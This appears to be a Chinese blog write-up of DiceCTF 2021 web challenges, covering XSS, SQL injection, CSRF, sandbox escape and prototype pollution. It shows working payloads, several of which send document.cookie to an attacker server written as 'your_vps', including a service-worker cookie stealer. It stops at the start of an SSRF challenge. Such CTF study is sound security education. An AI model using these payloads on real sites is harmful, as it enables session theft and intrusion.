<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】DiceCTF 2021 學習筆記

    VSole2022-07-29 08:35:01

    前陣子做了一下 Dice CTF 2021,做出了幾個 XSS ,本次就寫一下包括復現題在內的所有學習筆記。

    01Babier CSP

    Description

    Baby CSP was too hard for us, try Babier CSP.

    babier-csp.dicec.tf

    Admin Bot

    并給出如下附件:

    const express = require('express');const crypto = require("crypto");const config = require("./config.js");const app = express()const port = process.env.port || 3000;const SECRET = config.secret;const NONCE = crypto.randomBytes(16).toString('base64');const template = name => `
    <html>${name === '' ? '': `<h1>${name}</h1>`}<a href='#' id=elem>View Fruit</a>
    
    <script nonce=${NONCE}>
    elem.onclick = () => {
      location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
    }
    </script>
    
    </html>
    `;
    
    app.get('/', (req, res) => {
      res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
      res.send(template(req.query.name || ""));
    })
    
    app.use('/' + SECRET, express.static(__dirname + "/secret"));
    
    app.listen(port, () => {  console.log(`Example app listening at http://localhost:${port}`)
    })
    

    Solution

    如上我們可以看到 CSP 設置的比較嚴格,但是對于 nonce ,只有在一開始的時候隨機初始化了一次: const NONCE = crypto.randomBytes(16).toString('base64'); ,所以當運行的時候,nonce 不會改變。

    所以我們可以直接查看頁面的 nonce ,就可以直接得到 nonce

    <html><a href='#' id=elem>View Fruit</a><script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>elem.onclick = () => {
      location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
    }</script></html>
    

    而且注意到輸入參數 name 會直接顯示到 h1 標簽當中,所以我們可以直接插入一個 script 標簽即可執行 Javascript 代碼了,這里注意一下用 url 編碼把加號編碼一下

    然后用 vps 接一下 cookie 就行了

    https://babier-csp.dicec.tf/?name=%3Cscript%20nonce%3d%22g%2bojjmb9xLfE%2b3j9PsP/Ig==%22%3Ewindow.location=%22http://your_vps/?a=%22%2bencodeURIComponent(document.cookie);%3C/script%3E//secret=4b36b1b8e47f761263796b1defd80745
    

    直接訪問該 url ,可以拿到 flag

    PS:雖然這里說可以嘗試 Adult CSP ,但是它竟然是個 Pwn 題…我就不去不自量力了。

    Missing Flavortext

    Description

    Hmm, it looks like there’s no flavortext here. Can you try and find it?

    missing-flavortext.dicec.tf

    并給出如下附件:

    const crypto = require('crypto');const db = require('better-sqlite3')('db.sqlite3')// remake the `users` tabledb.exec(`DROP TABLE IF EXISTS users;`);
    db.exec(`CREATE TABLE users(
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT,
      password TEXT
    );`);// add an admin user with a random passworddb.exec(`INSERT INTO users (username, password) VALUES (
      'admin',
      '${crypto.randomBytes(16).toString('hex')}'
    )`);const express = require('express');const bodyParser = require('body-parser');const app = express();// parse json and serve static filesapp.use(bodyParser.urlencoded({ extended: true }));
    app.use(express.static('static'));// login routeapp.post('/login', (req, res) => {  if (!req.body.username || !req.body.password) {    return res.redirect('/');
      }  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {    return res.redirect('/');
      }  // see if user is in database
      const query = `SELECT id FROM users WHERE
        username = '${req.body.username}' AND
        password = '${req.body.password}'
      `;  let id;  try { id = db.prepare(query).get()?.id } catch {    return res.redirect('/');
      }  // correct login
      if (id) return res.sendFile('flag.html', { root: __dirname });  // incorrect login
      return res.redirect('/');
    });
    
    app.listen(3000);
    

    Solution

    題目有一個比較明顯的注入

    const query = `SELECT id FROM users WHERE
        username = '${req.body.username}' AND
        password = '${req.body.password}'
      `;
    

    并且獲得 flag 的條件是需要該查詢語句得到結果即可

    if (id) return res.sendFile('flag.html', { root: __dirname });
    

    但是數據庫只存在一條記錄,并且對于 admin 用戶來說,密碼是隨機的,我們只能考慮一下怎么進行注入,使用萬能密碼即可,但是在前面用了一些措施過濾了單引號

    if ([req.body.username, req.body.password].some(v => v.includes('\''))) {    return res.redirect('/');
      }
    

    很明顯我們需要用一些方式繞過這個過濾注入單引號,可以嘗試一下反斜杠,例如username=1\&password=or 1;--這樣我們就可以構造成

    SELECT id FROM users WHERE username = '1\' AND password = 'or 1;--'
    

    但是我們嘗試之后并不可以,查資料發現,sqlite 對于單引號的轉義方式是通過兩個單引號的形式'',例如:

    INSERT INTO table_name (field1, field2) VALUES (123, 'Hello there''s');
    

    所以我們需要嘗試一些其他操作。后面我們可以發現使用數組進行繞過單引號的限制,例如:

    var a = ["admin'"];var b = "or 1=1;--"[a, b].some((v) => v.includes("'")) // false
    

    所以我們可以這么構造用戶名以及密碼即可: username[]=admin'&password=or 1--

    這樣得到的 sql 語句即是

    SELECT id FROM users WHERE username = 'admin'' AND password = 'or 1--'
    

    這樣就可以查詢得到結果了,也就可以拿到 flag 了

    Web Utils

    Description

    My friend made this dumb tool; can you try and steal his cookies? If you send me a link, I can pass it along.

    題目給出了附件地址:https://dicegang.storage.googleapis.com/uploads/d657a11ef0f129e9339a41edb9255903e74875180e9f8ced1649bf6616b5e3d1/app.zip

    Solution

    題目構造了一個這么一個場景:題目存在有兩個功能點,一個功能是提供短鏈接服務,將用戶的長鏈接進行轉換成短鏈接;一個功能是提供任意文本內容存儲,將用戶輸入的存儲,并返回一個短鏈接。

    首先對于短鏈接功能,通過createLink函數進行操作,并對用戶傳入的 url 有限制,只允許 http|https 協議:

    const regex = new RegExp('^https?://');if (! regex.test(req.body.data))  return rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({    statusCode: 200,    error: 'Invalid URL'
      });
    

    接著使用addData函數將其與對應隨機生成的 uuid 加入數據庫當中:

    database.addData({ type: 'link', ...req.body, uid });
    

    其中數據庫相關操作為:

    const Database = require('better-sqlite3')const db = new Database('db.sqlite3')const init = () => {
      db.prepare(`CREATE TABLE IF NOT EXISTS data(
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            uid TEXT,
            data TEXT,
            type TEXT
            );`).run();
    }
    
    init();const statements = {  getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`),  addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
    }module.exports = {  getData: ({ uid }) => {    return statements.getData.get(uid);
      },  addData: ({ uid, data, type }) => {
        statements.addData.run(uid, data, type);
      },  generateUid: (length) => {    const characters =      'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';    const arr = [];    for (let i = 0; i < length; i++) {
          arr.push(
            characters.charAt(Math.floor(Math.random() * characters.length))
          );
        }    return arr.join('');
      }
    }
    

    可以看到使用了占位符,并沒有什么注入的機會。

    我們在看到查看短鏈接時,會通過 /view/xxxxxxxx 的路由,通過該路由進行跳轉,例如 /view/gyyO0ZXe :

    <!doctype html><html><head>
      <script async>
        (async () => {      const id = window.location.pathname.split('/')[2];      if (! id) window.location = window.origin;      const res = await fetch(`${window.origin}/api/data/${id}`);      const { data, type } = await res.json();      if (! data || ! type ) window.location = window.origin;      if (type === 'link') return window.location = data;      if (document.readyState !== "complete")        await new Promise((r) => { window.addEventListener('load', r); });      document.title = 'Paste';      document.querySelector('div').textContent = data;
        })()  </script></head><body>
      <div style="font-family: monospace"></div></bod></html>
    

    進入到該頁面后通過 /api/data/xxxxxxxx 獲取鏈接內容,例如 /api/data/gyyO0ZXe 得到一個 json :

    {"statusCode":200,"data":"http://baidu.com","type":"link"}
    

    然后我們可以看到頁面使用 window.location 的方式進行 url 跳轉實現短鏈接的功能。

    再看到 Paste 內容存儲功能,通過createPaste 函數進行操作,對用戶傳入的數據并沒有限制,并且與短鏈接存儲方式使用相同的addData函數進行操作插入數據庫:

    database.addData({ type: 'paste', ...req.body, uid });
    

    查看的時候也使用與短鏈接同樣的形式,例如:/view/doKS38NE ,通過 /api/data/doKS38NE 獲取內容 json :

    {"statusCode":200,"data":"wuhu","type":"paste"}
    

    由頁面 JS 通過 document.querySelector('div').textContent = data; 的形式輸出的頁面上。

    由題目形式知道,這題必然是一個 XSS 的題目,雖然我們可以存儲任意內容,但是使用textContent輸出的內容會自動將標簽符號進行轉義,并且輸出點還在一個 div 標簽內,無法直接進行 XSS

    并且縱觀整個 /view 的頁面內容,這幾乎是我們可以進行 XSS 唯一的地方,仔細審計我們找到通過window.location=javascript:alert(1)的形式執行 javascript 代碼,但是使用該功能的前提是需要短鏈接的形式,并且短鏈接開頭只能由 http|https 開頭,并不能使用 javascript ,并且是使用了RegExp('^https?://')的正則形式,我們并不能直接繞過這個正則,所以我們需要找個什么辦法繞過這個限制。

    在數據庫操作我們注意到兩個操作方式都使用的是同一個函數addData,該函數是通過type參數來判斷插入的類型內容,并且我們注意到兩個功能傳入該函數都使用的是 ...req.body

    三個點這個操作符是一個展開語法,叫做 Spread syntax ,可以在函數調用/數組構造時, 將數組表達式或者 string 在語法層面展開;還可以在構造字面量對象時, 將對象表達式按 key-value 的方式展開。例如:

    function sum(x, y, z) {  return x + y + z;
    }const numbers = [1, 2, 3];console.log(sum(...numbers));// expected output: 6console.log(sum.apply(null, numbers));// expected output: 6
    

    對于...req.body,我們不難想到如果我們使用相同的 key ,會怎么樣呢?例如

    function addData({ uid, data, type }) {    console.log(uid, data, type);
    }var uid = "uid";var a = { data: "wuhu", type: "link" };
    addData({ type: "paste", ...a, uid });// output: uid wuhu link
    

    可以看到我們使用一個自己的 type 字段覆蓋了之前的 type 字段,這樣我們就可以成功控制插入的類型。所以我們大概可以有個思路:我們通過構造一個有 type: "link" 的特殊 json ,利用createPaste函數幫我們插入一個 link 類型的數據,這樣得到的短鏈接內容就是一個我們可以自己控制內容的 link 類型的了。

    所以我們可以在 createPaste 的 API 再傳入一個 type: 'link' ,這樣就可以覆蓋掉了前面的 type: 'paste' 就可以得到一個觸發 XSS 的短鏈接了

    {"data":"javascript:window.location='https://your_vps/?a='+encodeURIComponent(document.cookie);","type":"link"}
    

    這樣再將得到的鏈接地址,使用 /view API 發給 admin 看就可以拿到 flag 了,例如我們在給 createPaste API 發送以上內容后,得到的是

    {"statusCode":200,"data":"otEJvitt"}
    

    這時再將 http://web-utils.dicec.tf/view/otEJvitt 發給 admin 就可以了

    Build a Panel

    Description

    You can never have too many widgets and BAP organization is the future. If you experience any issues, send it here

    Site: build-a-panel.dicec.tf

    附件地址:https://dicegang.storage.googleapis.com/uploads/b954888e226bfe569e646705d4cd1804e2bb50b1bd9aa0a8ae337acdbd74b175/build-a-panel.tar.gz

    02 Solution

    在做這個題的時候,已經放出了這個題目的 Fixed 版本 Build a Better Panel ,眾所周知,這種情況肯定是有非預期了,而且非預期還可能異常簡單。所以我們把 Fixed 版本的題目附件下下來 diff 一下,就可以發現一些蛛絲馬跡了。

    其中經過 diff 之后我們發現主要修改的地方就是將 admin cookie 中的 sameSite: 'lax' 改成了 sameSite: 'strict',如果不了解 sameSite Cookie,我們可以簡單看一下介紹 SameSite Cookie

     SameSite 接受下面三個值:
    Lax
    Cookies允許與頂級導航一起發送,并將與第三方網站發起的GET請求一起發送。這是瀏覽器中的默認值。
    Strict
    Cookies只會在第一方上下文中發送,不會與第三方網站發起的請求一起發送。
    None
    Cookie將在所有上下文中發送,即允許跨域發送。
    以前 None 是默認值,但最近的瀏覽器版本將 Lax 作為默認值,以便對某些類型的跨站請求偽造 (CSRF) 攻擊具有相當強的防御能力。
    使用 None 時,需在最新的瀏覽器版本中使用 Secure 屬性。更多信息見下文。

    這里我們可以看到本題 samesite 是設置了 lax ,意味著可能會有潛在的 CSRF 。

    并且我們可以看到題目給我們的附件中, flag 是一開始就被插入到了數據庫當中:

    query = `CREATE TABLE IF NOT EXISTS flag (
        flag TEXT
    )`;
    db.run(query, [], (err) => {    if(!err){        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
            db.run(innerQuery);
        }else{        console.error('Could not create flag table');
        }
    });
    

    所以我們可以嘗試去看看是不是有什么注入點,接著審計我們就注意到:

    app.get('/admin/debug/add_widget', async (req, res) => {    const cookies = req.cookies;    const queryParams = req.query;    if(cookies['token'] && cookies['token'] == secret_token){
            query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
            db.run(query, (err) => {            if(err){                console.log(err);
                    res.send('something went wrong');
                }else{
                    res.send('success!');
                }
            });
        }else{
            res.redirect('/');
        }
    });
    

    雖然有 admin 才能操作的限制,但是這里也是比較明顯的一個存在注入的地方,沒什么過濾,我們可以直接閉合單引號就可以直接注了。flag 我們可以通過(SELECT flag from flag)子查詢的方式獲得,再看看我們應該怎么查看插入的數據,審計代碼其中有一個查看的 API 是:

    app.post('/panel/widgets', (req, res) => {    const cookies = req.cookies;    if(cookies['panelId']){        const panelId = cookies['panelId'];
    
            query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
            db.all(query, [panelId], (err, rows) => {            if(!err){                let panelWidgets = {};                for(let row of rows){                    try{
                            panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                        }catch{
    
                        }
                    }
                    res.json(panelWidgets);
                }else{
                    res.send('something went wrong');
                }
            });
        }
    });
    

    這里沒有 admin 的限制,通過這個路由我們可以通過 cookie 中的 panelId 來查詢對應的 widgetdata ,并且有直接的回顯,不過我們需要讓查詢得到的row['widgetdata']滿足 JSON 的格式,這樣才不會讓JSON.parse函數出錯。

    所以我們大概又這么個思路,構造panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}>')%3b--&widgetname=1&widgetdata=1,這樣我們得到的 sqlite 語句就是

    INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('foo',(SELECT flag from flag),'{"type":"sss"}');--', '1', '1');
    

    然后通過設置 cookie 為panelId=foo,通過/panel/widgets路由查詢得到 flag

    接下來需要做的就是怎么通過/admin/debug/add_widget路由的 admin 的前提條件,因為本題是個 XSS 題目,可以讓 bot 訪問我們的鏈接,并且在前面我們注意到 sameSite 設置為了 lax ,所以我們似乎可以通過讓 admin 直接訪問我們構造的如下的 url ,讓 admin 幫我們插入這個數據,完成一次 CSRF 攻擊。

    https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1
    

    然后我們帶著panelId=foo的 Cookie 訪問/panel/widgets即可:

    Web IDE

    Description

    Work on JavaScript projects directly in your browser! Make something cool? Send it here

    web-ide.dicec.tf

    題目附件:

    const express = require('express');const crypto = require('crypto');const app = express();const adminPassword = crypto.randomBytes(16).toString('hex');const bodyParser = require('body-parser');
    
    app.use(require('cookie-parser')());// don't let people iframeapp.use('/', (req, res, next) => {
      res.setHeader('X-Frame-Options', 'DENY');  return next();
    });// sandbox the sandboxapp.use('/sandbox.html', (req, res, next) => {
      res.setHeader('Content-Security-Policy', 'frame-src \'none\'');  // we have to allow this for obvious reasons
      res.removeHeader('X-Frame-Options');  return next();
    });// serve static filesapp.use(express.static('public/root'));
    app.use('/login', express.static('public/login'));// handle login endpointapp.use('/ide/login', bodyParser.urlencoded({ extended: false }));
    
    app.post('/ide/login', (req, res) => {  const { user, password } = req.body;  switch (user) {  case 'guest':    return res.cookie('token', 'guest', {      path: '/ide',      sameSite: 'none',      secure: true
        }).redirect('/ide/');  case 'admin':    if (password === adminPassword)      return res.cookie('token', `dice{${process.env.FLAG}}`, {        path: '/ide',        sameSite: 'none',        secure: true
          }).redirect('/ide/');    break;
      }
      res.status(401).end();
    });// handle file savingapp.use('/ide/save', bodyParser.raw({  extended: false,  limit: '32kb',  type: 'application/javascript'}));const files = new Map();
    app.post('/ide/save', (req, res) => {  // only admins can save files
      if (req.cookies.token !== `dice{${process.env.FLAG}}`)    return res.status(401).end();  const data = req.body;  const id = `${crypto.randomBytes(8).toString('hex')}.js`;
      files.set(id, data);
      res.type('text/plain').send(id).end();
    });
    
    app.get('/ide/saves/:id', (req, res) => {  // only admins can view files
      if (req.cookies.token !== `dice{${process.env.FLAG}}`)    return res.status(401).end();  const data = files.get(req.params.id);  if (!data) return res.status(404).end();
      res.type('application/javascript').send(data).end();
    });// serve static files at ide, but auth firstapp.use('/ide', (req, res, next) => {  switch (req.cookies.token) {  case 'guest':    return next();  case `dice{${process.env.FLAG}}`:    return next();  default:    return res.redirect('/login');
      }
    });
    
    app.use('/ide', express.static('public/ide'));
    
    app.listen(3000);
    

    Solution

    也還是一個 XSS 題,admin Cookie 就是 flag ,提供一些用戶內容存儲功能,但是由于只能保存為 js 文件,并且查看內容的 API 設置了res.type('application/javascript').send(data).end();,意味著無法直接執行 js 代碼進行 XSS

    再看到整體的功能,在 /ide/ 路由下存在一個頁面可以執行一些 javascript 代碼:

    index.html

    <!doctype html><html>
      <head>
        <title>Web IDE</title>
        <link rel="stylesheet" href="src/styles.css"/>
        <script src="src/index.js"></script>
      </head>
      <body>
        <div id="editor">
          <textarea>console.log('Hello World!');</textarea>
          <iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
          <br />
          <button id="run">Run Code</button>
          <button id="save">Save Code (Admin Only)</button>
        </div>
      </body></html>
    

    index.js

    (async () => {  await new Promise((r) => { window.addEventListener(('load'), r); });  document.getElementById('run').addEventListener('click', () => {    document.querySelector('iframe')
          .contentWindow
          .postMessage(document.querySelector('textarea').value, '*');
      });  document.getElementById('save').addEventListener('click', async () => {    const response = await fetch('/ide/save', {      method: 'POST',      body: document.querySelector('textarea').value,      headers: {        'Content-Type': 'application/javascript'
          }
        });    if (response.status === 200) {      window.location = `/ide/saves/${await response.text()}`;      return;
        }
        alert('You are not an admin.');
      });
    
    })();
    

    我們可以看到該頁面主要功能就是獲取用戶輸入,將其使用postMessage函數發送給上級目錄的 sandbox.html ,我們在看到 sandbox.html 頁面內容主要由一個 sandbox.js 組成:

    (async () => {  await new Promise((r) => { window.addEventListener(('load'), r); });  const log = (data) => {    const element = document.createElement('p');
        element.textContent = data.toString();    document.querySelector('div').appendChild(element);    window.scrollTo(0, document.body.scrollHeight);
      };  const safeEval = (d) => (function (data) {    with (new Proxy(window, {      get: (t, p) => {        if (p === 'console') return { log };        if (p === 'eval') return window.eval;        return undefined;
          }
        })) {      eval(data);
        }
      }).call(Object.create(null), d);  window.addEventListener('message', (event) => {    const div = document.querySelector('div');    if (div) document.body.removeChild(div);    document.body.appendChild(document.createElement('div'));    try {
          safeEval(event.data);
        } catch (e) {
          log(e);
        }
      });
    
    })();
    

    主要內容就是獲取postMessage得到的內容,并將其放入到safeEval函數中進行執行,其中使用了Proxy類創建了一個類似沙箱的功能,只能執行有限的 js 代碼:

    with (new Proxy(window, {  get: (t, p) => {    if (p === 'console') return { log };    if (p === 'eval') return window.eval;    return undefined;
      }
    })) {  eval(data);
    }
    

    所以我們需要繞過這個限制,根據以往的繞過沙箱的老套路,我們可以嘗試傳入一個 window 對象,通過"".constructor.constructor("return this")()獲取到 window 對象,我們可以直接在其中執行 js 代碼,例如:

    "".constructor.constructor("console.log(window.location)")()
    

    因為 sandbox.html 在接受 message 沒有驗證 origin ,所以我們可以自己本地弄一個頁面postMessage驗證是否是成功在他的域名上執行了 js 代碼:

    <iframe
            id="f"
            src="https://web-ide-v2.dicec.tf/sandbox.html"
            sandbox="allow-scripts"
            frameborder="0"
            ></iframe><script>
      f.addEventListener("load", () => {
        f.contentWindow.postMessage(      `"".constructor.constructor("console.log(window.location)")()`,      "*"
        );
      });</script>
    

    所以根據下圖的實驗結果顯示,我們是可以繞過了其 sandbox 成功執行了 js 代碼

    接下來我們就需要看看怎么獲取 flag 了,在題目附件中我們看到:

    return res.cookie('token', `dice{${process.env.FLAG}}`, {  path: '/ide',  sameSite: 'none',  secure: true}).redirect('/ide/');
    

    這里光繞過 sandbox 執行 js 還不夠,還需要在 /ide 路徑下執行,否則在 sanbox 執行的 js 不能直接獲取到 /ide 路徑下的 cookie ,接下來我想到的非預期就是通過 sandbox 使用window.open打開一個 /ide 頁面,然后再獲取其 cookie ,大致代碼如下:

    var opener = window.open("https://web-ide.dicec.tf/sandbox.html");
    setTimeout(function () {  var data = `"".constructor.constructor('var opener = window.open("https://web-ide.dicec.tf/ide/");setTimeout(function(){window.location = "https://your_vps/?a="+ encodeURIComponent(opener.document.cookie);},1000)')()`;
      opener.postMessage(data, "*");
    }, 1000);
    

    其中setTimeout是為了等頁面加載出來,比較懶的做法。直接在你的 vps 上放置含有如上 js 代碼的 html 頁面,讓 admin 訪問你的頁面,就可以收到 cookie 了。

    這里如果你直接用 chrome 來試的話會因為沒有用戶交互被直接攔截彈窗,但是我試的時候用的是 burp 自帶的 chromium ,而且題目可能也沒處理好彈窗限制,導致了這個非預期。

    Author Intended Solution

    其中這個題的預期解是使用 ServiceWorker ,雖然存儲路由可以存儲任意 javascript 代碼但是因為 content-type 沒辦法執行,我們可以利用 service-worker 將其注冊成為一個 sw ,然后可以通過攔截 fetch 請求來實現我們將 cookie 外帶的一個效果,具體代碼如下

    <iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe><script>
    f.addEventListener('load', () => {
      f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
      "headers": {
        "content-type": "application/javascript",
      },
      "body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\\\\\'your_vps\\\\\\\\', document.cookie)</sc'+'ript>',{headers:{\\\\'content-type\\\\':\\\\'text/html\\\\'}}));});",
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    }).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
    setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
    })
    </script>
    

    PS:注意 body 當中反斜杠轉義的個數,盲猜安全客的轉義機制會把反斜杠給弄掉幾個…

    Build a Better Panel

    Description

    BAP wasn’t secure enough. Now the admin is a bit smarter, see if you can still get the flag! If you experience any issues, send it here

    NOTE: The admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$

    Site: build-a-better-panel.dicec.tf

    附件地址:https://dicegang.storage.googleapis.com/uploads/ad5561c4f54908fb3457825fe9cdec9d8d23b7599d0f088689628d6bc92b4ff1/build-a-better-panel.tar.gz

    Solution

    按照上文對第一個版本的做法,這題增加了兩個限制,一個就是 sameSite 改成了 strict ,還有一個就是只允許 admin 訪問 /create 路由了。

    app.get('/create', (req, res) => {    const cookies = req.cookies;    const queryParams = req.query;    if(!cookies['panelId']){        const newPanelId = queryParams['debugid'] || uuidv4();
    
            res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'strict'});
        }
    
        res.redirect('/panel/');
    });
    
    app.get('/panel/', (req, res) => {    const cookies = req.cookies;    if(cookies['panelId']){
            res.render('pages/panel');
        }else{
            res.redirect('/');
        }
    });
    

    /create 路由會根據我們傳入的 debugid 跳轉到對應的 panel 界面,panel 界面主要根據對應的 id 來構造頁面內容,其中主要的 js 代碼如下:

    const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];const safeDeepMerge = (target, source) => {    for (const key in source) {        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){            if(key !== '__proto__'){
                    safeDeepMerge(target[key], source[key]);
                }
            }else{
                target[key] = source[key];
            }
        }
    }const displayWidgets = async () => {    const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();    let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
    
        safeDeepMerge(toDisplayWidgets, userWidgets);    const timeData = await (await fetch('/status/time')).json();    const weatherData = await (await fetch('/status/weather')).json();    const welcomeData = await (await fetch('/status/welcome')).json();    const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};    const widgetPanel = document.getElementById('widget-panel');    for(let name of Object.keys(toDisplayWidgets)){        const widgetType = toDisplayWidgets[name]['type'];        const panel = document.createElement('div');
            panel.className = 'panel panel-default';        const panelTitle = document.createElement('h5');
            panelTitle.className = 'panel-heading';
            panelTitle.textContent = name;        const panelData = document.createElement('p');
            panelData.className = 'panel-body';        if(widgetData[widgetType]){
                panelData.textContent = widgetData[widgetType];
            }else{
                panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
            }
    
            panel.appendChild(panelTitle);
            panel.appendChild(panelData);
    
            widgetPanel.appendChild(panel);
        }
    };window.onload = (_event) => {
        displayWidgets();
    };
    

    很明顯的原型鏈污染繞過,但是我們目前還不知道污染什么,我們再看回 panel 界面,發現有一行比較突兀的代碼:

    <script src="https://cdn.embedly.com/widgets/platform.js"></script>
    

    隨便搜搜我們可以在 Embedly Cards 找到相關原型鏈污染的資料:

    <script>
      Object.prototype.onload = 'alert(1)'</script><blockquote class="reddit-card" data-card-created="1603396221">
      <a >XSS Challenge</a></blockquote><script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
    

    所以我們就可以知道,我們需要污染onload屬性就能有一個 XSS 了,問題就來到了如果繞過對于__proto__關鍵字的繞過,這里我們可以看到通過constructor.protoype來繞過這個限制,例如:

    Object.__proto__ === Object.constructor.prototype    //true
    

    我們可以做一個簡單的測試:

    <!DOCTYPE html><html lang="en">
        <head>
            <script>
                const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];      const safeDeepMerge = (target, source) => {          for (const key in source) {              if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){                  if(key !== '__proto__'){
                          safeDeepMerge(target[key], source[key]);
                      }
                  }else{
                      target[key] = source[key];
                  }
              }
          }            const userWidgets = JSON.parse(`{"constructor": {"prototype": {"onload": "alert(1)"}}}`);            let toDisplayWidgets = {                "welcome back to build a panel!": { type: "welcome" },
                };
                safeDeepMerge(toDisplayWidgets, userWidgets);        </script>
            <script src="https://cdn.embedly.com/widgets/platform.js"></script>
        </head>
    
            <blockquote class="reddit-card">
                <a ></a>
            </blockquote>
        </body></html>
    

    成功觸發彈窗,雖然測試成功了,但是我們仍然還要注意到題目還有 CSP 的存在…

    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
    res.setHeader("X-Frame-Options", "DENY");
    

    基本上我們不可能直接執行 js 代碼,除非在指定的 uri 里面有什么便捷的操作,然而我們再回顧一下怎么之前是獲取 flag 的?是讓 admin 幫我們執行一個請求而已,并不需要我們弄到 admin 的 cookie ,所以現在又清晰了一點,如果只需要發一個請求,我們是不是可以使用srcdoc來幫助我們直接放一個可以做請求的標簽就可以了呢?因為我們要請求的 url 也在自己域名內,所以也可以滿足 CSP 的要求。所以我們可以弄一個 script 標簽,其 src 指向我們

    JSON.stringify({  widgetName: 'constructor',  widgetData: JSON.stringify({    prototype: {      srcdoc: `<script src="/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1"></script>`
        }
      }) 
    })//{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src=\\\"/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1\\\"></script>\"}}"}
    

    把上述 json 通過 /panel/add 增加到對應 panelId 內容中,然后把 panelId 對應的 URL 發給 admin ,然后到 /panel/widgets 路由帶著 cookie 訪問即可拿到 flag

    Watermark as a Service

    Description

    My new Watermark as a Service (WaaS) startup just started using the cloud. It’s so cool!

    waas.dicec.tf

    附件:

    const dns = require("dns");const express = require("express");const ip = require("ip");const path = require("path");const puppeteer = require("puppeteer");const sharp = require("sharp");const app = express();const ALLOWED_PROTOCOLS = ["http:", "https:"];const BLOCKED_HOSTS = ["metadata.google.internal", "169.254.169.254"];
    
    app.get("/", (req, res) => {
      res.sendFile(path.join(__dirname + "/public/index.html"));
    });
    
    app.get("/snap", async (req, res) => {  const url = decodeURIComponent(req.query.url);  if (!url) {
        res.sendStatus(400);
      }  let urlObj;  try {
        urlObj = new URL(url);
      } catch {
        res.sendStatus(400);
      }  const hostname = urlObj.hostname;  if (ip.isPrivate(hostname)) {
        res.sendStatus(400);
      }  if (BLOCKED_HOSTS.some((blockedHost) => hostname.includes(blockedHost))) {
        res.sendStatus(400);
      }  const protocol = urlObj.protocol;  if (
        !ALLOWED_PROTOCOLS.some((allowedProtocol) =>
          protocol.includes(allowedProtocol)
        )
      ) {
        res.sendStatus(400);
      }
    
      dns.resolve4(hostname, function (err, addresses) {    if (err) {
          res.sendStatus(400);
        }
    
        addresses.forEach(function (address) {      if (address === "169.254.169.254") {
            res.sendStatus(400);
          }
        });
      });  const browser = await puppeteer.launch({    args: ["--no-sandbox", "--disable-setuid-sandbox"],
      });  try {    const page = await browser.newPage();    await page.goto(url);    const imageBuffer = await page.screenshot();
    
        sharp(imageBuffer)
          .composite([{ input: "dicectf.png", gravity: "southeast" }])
          .toBuffer()
          .then((outputBuffer) => {
            res.status(200).contentType("image/png").send(outputBuffer);
          });
      } catch (error) {    console.error(error);
      } finally {    await browser.close();
      }
    });
    
    app.listen(3000, () => {  console.log("Listening on 3000");
    });console.log(process.env.FLAG);
    

    Solution

